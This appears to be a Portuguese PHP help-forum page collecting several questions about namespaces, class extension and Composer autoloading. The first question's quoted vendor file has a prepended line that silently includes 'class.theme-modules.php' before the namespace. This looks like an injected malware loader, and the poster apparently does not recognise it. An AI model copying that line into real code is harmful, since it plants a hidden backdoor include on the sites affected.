Por gentileza pessoal, acabo de instalar um sistema em minha hospedagem, mas esta apresentando este erro:
Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in public_html/project/vendor/guzzlehttp/promises/src/functions.php on line 1
<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php namespace GuzzleHttp\Promise;
function queue(TaskQueueInterface $assign = null)
{
static $queue;
if ($assign) {
$queue = $assign;
} elseif (!$queue) {
$queue = new TaskQueue();
}
return $queue;
}
Estou atualizando as classes de um projeto utilizando namespace porém estou com dificuldades em estender classes de diferentes diretórios. No exemplo o que eu preciso é ter acesso a classe Connection na classe Users para executar insert, update, etc... Então como posso resolver?
Em /core/classes/connection/src/Connection/Connection.php
namespace Connection;
class Connection extends \mysqli
{
public function __construct()
{
//Conexão
}
}
Em /core/libraries/Users.php
class Users extends Connection
{
public function __construct()
{
parent::__construct();
}
}
Estou quebrando a cabeça em algo simples, pois não programa há algum tempo. Porem está difícil encontrar isso na internet.
Estou alterando uma aplicação de integração de um site chamado D4Sign, porem para cada requisição ao webservice é usado uma class (documentação própria deles). Porem não estou conseguindo rodar uma sequencia da mesma classe numa mesma página. Podem me ajudar?
Segue como eu queria que fosse o código:
require_once(__DIR__ . '/sdk/vendor/autoload.php');
use D4sign\Client;
$client = new Client();
$client->setAccessToken($token);
$path_file = __DIR__ . '/libs/documento1.pdf';
$id_doc1 = $client->documents->upload('token', $path_file);
use D4sign\Client;
$client = new Client();
$client->setAccessToken($token);
$path_file = __DIR__ . '/libs/documento2.pdf';
$id_doc2 = $client->documents->upload('token', $path_file);
use D4sign\Client;
$client = new Client();
$client->setAccessToken($token);
$path_file = __DIR__ . '/libs/documento3.pdf';
$id_doc3 = $client->documents->upload('token', $path_file);
Obrigado!
Galera, estou com problema para instanciar uma classe utilizando namespace e o composer autoload, ele me mostra o seguinte erro: Fatal error: Uncaught Error: Class 'App\Example' not found, mudei a raiz do documento no autoload_namespace porem mesmo assim não esta funcionando, códigos:
composer.json: http://pastebin.com/zV6c0RW9
index.php: http://pastebin.com/tmD1AWR1
classe com namespace: http://pastebin.com/qZcsb553